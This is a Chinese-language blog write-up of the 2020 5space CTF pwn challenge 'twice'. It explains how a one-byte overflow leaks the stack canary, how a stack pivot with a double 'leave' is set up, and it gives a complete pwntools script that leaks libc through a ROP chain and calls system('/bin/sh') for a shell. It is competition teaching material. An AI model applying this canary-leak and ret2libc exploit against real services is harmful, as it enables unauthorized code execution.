2020 5space pwn题 twice

好久好久没有写博客了,刚放暑假希望自己能抓紧学学吧 -_-

6月24号比的赛,现在才想起来写总结,最近痴迷于想扣篮,一直在打球也没有很努力在学习。。。
一场比赛只出来这么一道题,不过也行了,最近一直没有学pwn,还能记得是真不错。。。

2020 5space pwn题 twice_第1张图片
主函数就是一个循环,nCount是主要参数, InitData函数无关紧要,,点进去 sub4007A9函数看一看

2020 5space pwn题 twice_第2张图片
这里的形参 a1 就是 nCount 传进来的,是一开始那个循环的计数器,所以初始值为0
后面就有点看不懂了,所以点进去 sub_400760函数 看一看

2020 5space pwn题 twice_第3张图片
这个函数里面形参是80,如果 nCount 为0就返回 89,,,,如果 nCount 为1 就返回 112

再回去看之前的函数
2020 5space pwn题 twice_第4张图片
刚才的 89 或者 112 传给了参数 v3 ,再往下看, v3 是读操作的读入字节数,这就知道了,它要通过 nCount 来决定读入多少位,再看上面的s,定义的是88位,所以 nCount为0时可以读入89位,溢出1为;;nCount 为1时读入112位,溢出24位,也就是在栈上溢出3个位置,分别是canary值,上一个栈帧ebp值,和返回地址值。

2020 5space pwn题 twice_第5张图片
gdb中调试到read函数完,我输入了12345678,被选定的绿色区域是s定义的区域,多溢出一位就到了canary
所以根据程序的逻辑,第一次循环可以输入89位,多一位溢出到canary,把结尾的 \x00 覆盖,当运行到put函数的时候就可以泄露canary
第二次可以多溢出的时候再去控制ebp和返回地址

之后要想办法获取libc基址,因为这个程序没有后门,也没有system函数,不过没有pie
做着做着就发现,就给出3个栈上位置的溢出完全不够啊,只能覆盖到返回地址,所以肯定要栈迁移,实现后续的ROP
我把迁移的位置就放在了s参数里面,因为地方也够大,另外泄露canary的时候也会将它下面的ebp泄露出来,所以栈的地址也有,作相应的加减就可以找到s的起始位置(迁移到bss段啥的应该也行)

下一个问题,如何将迁移到别的地方?
记得做过pwnable.kr的一道simple_login,里面的flag就写着:control ebp control esp and then control the world
所以说ebp esp还是相当重要的,栈迁移肯定要控制这俩玩意
技巧就是:double leave, 之前也做过栈迁移的题,所以记住了这个技巧,挺好玩的

老也记不住的基础之基础:
leave = mov esp,ebp + pop ebp
用两次leave,说的通俗一点,这里面 ebp 是一个媒介,目的是把 esp 送到想要去的地方。。细品
所以说就用这个方法,把返回地址设置回leave的地址,实现double leave,esp就到了s参数的初始位置了,之前构造好的ROP就可以用了

然后ROP要有两次,一次泄露 libc,一次getshell

下面是脚本:

from pwn import *

context(os='linux',arch='amd64',log_level='debug')

sh = process('./pwn')
#sh = remote("121.36.59.116","9999") 比赛的网址,已不可用

pop_rdi_ret = 0x400923
libc_s_got= 0x601040
puts_plt = 0x4005c0
ret = 0x400599
pop_rsp_r13_r14_r15_ret = 0x40091d
leave_addr = 0x400879

x = 'A' * 89
sh.sendafter('>',x)


sh.recvuntil('A'*89)
canary = u64(sh.recv(7).rjust(8,'\x00'))
print(hex(canary))

stack = u64(sh.recv(6).ljust(8,'\x00'))
print(hex(stack))

#gdb.attach(sh)

x = p64(0xdeadbeef) +p64(pop_rdi_ret) + p64(libc_s_got) + p64(puts_plt) +p64(0x4007a9) + 'A'*(88-40) + p64(canary) + p64(stack-0x70) + p64(leave_addr) 
sh.sendafter('>',x)
sh.recvline()
libc_s_addr = u64(sh.recv(6).ljust(8,'\x00'))
print(hex(libc_s_addr))

#gdb.attach(sh)

system_addr = libc_s_addr + 0x24c50
binsh = libc_s_addr + 0x16c6c7

x = p64(0xdeadbeef)+p64(pop_rdi_ret) + p64(binsh) + p64(system_addr) +'A'*(88-32) + p64(canary) + p64(stack-0x70-0x40) + p64(leave_addr)
sh.sendafter('>',x)

sh.interactive()

在这里插入图片描述
这里是第一次构造的ROP,前面是利用puts函数泄露 libc 地址,基本操作
后三个8位一个是canary,然后是esp要去的位置,然后leave的地址

在这里插入图片描述
这是第二个ROP,不一样的是这回canary下面的值,也就是esp要去的地址还要再以前的基础上减去0x40,因为第一次ROP返回后再次进入相同的函数,又形成了新的栈帧,栈地址随之变化,但是我们有的栈地址还是第一次泄露的,所以要减去相应的值
2020 5space pwn题 twice_第6张图片
调试状态处于第二次ROP,左边是之前泄露的栈地址,

你可能感兴趣的:(2020 5space pwn题 twice)